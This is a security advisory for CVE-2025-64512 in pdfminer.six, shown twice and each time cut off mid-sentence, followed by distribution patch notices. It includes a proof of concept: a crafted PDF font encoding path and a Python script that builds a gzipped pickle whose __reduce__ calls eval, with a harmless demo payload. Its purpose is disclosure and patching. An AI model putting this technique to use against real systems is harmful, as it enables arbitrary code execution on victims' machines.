CVE-2025-64512

Summary

pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The CMapDB._load_data() function in pdfminer.six uses pickle.loads() to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the cmap/ directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in .pickle.gz. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed.

Details

# Vulnerable code in pdfminer/cmapdb.py:233-246
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")  # Insufficient sanitization
    filename = "%s.pickle.gz" % name
    # ... path construction ...
    path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored
    # ...
    return type(str(name), (), pickle.loads(gzfile.read()))  # Unsafe deserialization

An attacker can:

1. Create a malicious PDF with a CMap reference like /malicious
2. Place a malicious pickle file at /malicious.pickle.gz
3. When the PDF is processed, pdfminer loads and deserializes the malicious pickle
4. The pickle deserialization can execute arbitrary Python code

POC

Malicious PDF

Create a PDF with a malicious CMAP entry:

5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj

Here the /Encoding points to /pdfs/malicious. Pdfminer will append the extension .pickle.gz to this filename. Place the PDF in a file called /pdfs/malicious.pdf.

Malicious Pickle

Create a malicious, zipped pickle to execute. For example, with this Python script:

#!/usr/bin/env python3
import pickle
import gzip

def create_demo_pickle():
    print("Creating demonstration pickle file...")

    # Create payload that executes code AND returns a dict (as pdfminer expects)
    class EvilPayload:
        def __reduce__(self):
            # This function will be called during unpickling
            code = "print('Malicious code executed.') or exit(0) or {}"
            return (eval, (code,))

    demo_cmap_data = EvilPayload()

    # Create the pickle file that the path traversal would access
    target_path = "./malicious.pickle.gz"

    try:
        with gzip.open(target_path, 'wb') as f:
            pickle.dump(demo_cmap_data, f)
        print(f"✓ Created demonstration pickle file: {target_path}")
        return target_path

    except Exception as e:
        print(f"✗ Error creating pickle file: {e}")
        return None

if __name__ == "__main__":
    create_demo_pickle()

This will create a harmless, zipped pickle file that will display "Malicious code eecuted." then exit when deserialized. Put the file in /pdfs/malicious.pickle.gz.

Test

Install pdfminer.six and run pdf2text.py /pdfs/malicious.pdf. Instead of processing the PDF as normal you should see the output:

$ pdf2txt.py malicious.pdf
Malicious code executed!

Impact

If pdfminer.six processes a malicious PDF which points to a zipped pickle file under the control of an attacker the result is arbitrary code execution on the victim's system. An attacker could execute the Python code of their chosing with the permissions of the process running pdfminer.six.

The difficulty in achieving this depends on the OS, see below.

Linux, MacOS - harder to exploit

On Linux-like systems only files on the filesystem can be resolved. An attacker would need to provide the malicious PDF for processing and the malicious pickle file would need to be present on the target system in a location that the attacker already knows, since it needs to be set in the PDF itself. In many cases this will be difficult to exploit because even if the attacker provides both the PDF and the pickle file together, there would be no way to know in advance which…

Summary

pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The CMapDB._load_data() function in pdfminer.six uses pickle.loads() to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the cmap/ directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in .pickle.gz. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed.

Details

# Vulnerable code in pdfminer/cmapdb.py:233-246
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")  # Insufficient sanitization
    filename = "%s.pickle.gz" % name
    # ... path construction ...
    path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored
    # ...
    return type(str(name), (), pickle.loads(gzfile.read()))  # Unsafe deserialization

An attacker can:

1. Create a malicious PDF with a CMap reference like /malicious
2. Place a malicious pickle file at /malicious.pickle.gz
3. When the PDF is processed, pdfminer loads and deserializes the malicious pickle
4. The pickle deserialization can execute arbitrary Python code

POC

Malicious PDF

Create a PDF with a malicious CMAP entry:

5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj

Here the /Encoding points to /pdfs/malicious. Pdfminer will append the extension .pickle.gz to this filename. Place the PDF in a file called /pdfs/malicious.pdf.

Malicious Pickle

Create a malicious, zipped pickle to execute. For example, with this Python script:

#!/usr/bin/env python3
import pickle
import gzip

def create_demo_pickle():
    print("Creating demonstration pickle file...")

    # Create payload that executes code AND returns a dict (as pdfminer expects)
    class EvilPayload:
        def __reduce__(self):
            # This function will be called during unpickling
            code = "print('Malicious code executed.') or exit(0) or {}"
            return (eval, (code,))

    demo_cmap_data = EvilPayload()

    # Create the pickle file that the path traversal would access
    target_path = "./malicious.pickle.gz"

    try:
        with gzip.open(target_path, 'wb') as f:
            pickle.dump(demo_cmap_data, f)
        print(f"✓ Created demonstration pickle file: {target_path}")
        return target_path

    except Exception as e:
        print(f"✗ Error creating pickle file: {e}")
        return None

if __name__ == "__main__":
    create_demo_pickle()

This will create a harmless, zipped pickle file that will display "Malicious code eecuted." then exit when deserialized. Put the file in /pdfs/malicious.pickle.gz.

Test

Install pdfminer.six and run pdf2text.py /pdfs/malicious.pdf. Instead of processing the PDF as normal you should see the output:

$ pdf2txt.py malicious.pdf
Malicious code executed!

Impact

If pdfminer.six processes a malicious PDF which points to a zipped pickle file under the control of an attacker the result is arbitrary code execution on the victim's system. An attacker could execute the Python code of their chosing with the permissions of the process running pdfminer.six.

The difficulty in achieving this depends on the OS, see below.

Linux, MacOS - harder to exploit

On Linux-like systems only files on the filesystem can be resolved. An attacker would need to provide the malicious PDF for processing and the malicious pickle file would need to be present on the target system in a location that the attacker already knows, since it needs to be set in the PDF itself. In many cases this will be difficult to exploit because even if the attacker provides both the PDF and the pickle file together, there would be no way to know in advance which…

Pdfminer.six is a community maintained fork of the original PDFMiner, a tool for extracting information from PDF documents. Prior to version 20251107, pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The CMapDB._load_data() function in pdfminer.six uses pickle.loads() to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the cmap/ directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in .pickle.gz. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed. Version 20251107 fixes the issue.

These are all security issues fixed in the python311-pdfminer.six-20251107-1.1 package on the GA media of openSUSE Tumbleweed.

Root has patched CVE-2025-64512 in the rootio-pdfminer.six package for Root:PyPI. Multiple fixed versions available.

Root has patched GHSA-wf5f-4jwr-ppcp in the rootio-pdfminer.six package for Root:PyPI. Multiple fixed versions available.

It was discovered that pdfminer did not safely parse specially crafted PDF files. An attacker could possibly use these issues to execute arbitrary code. (CVE-2025-64512, CVE-2025-70559)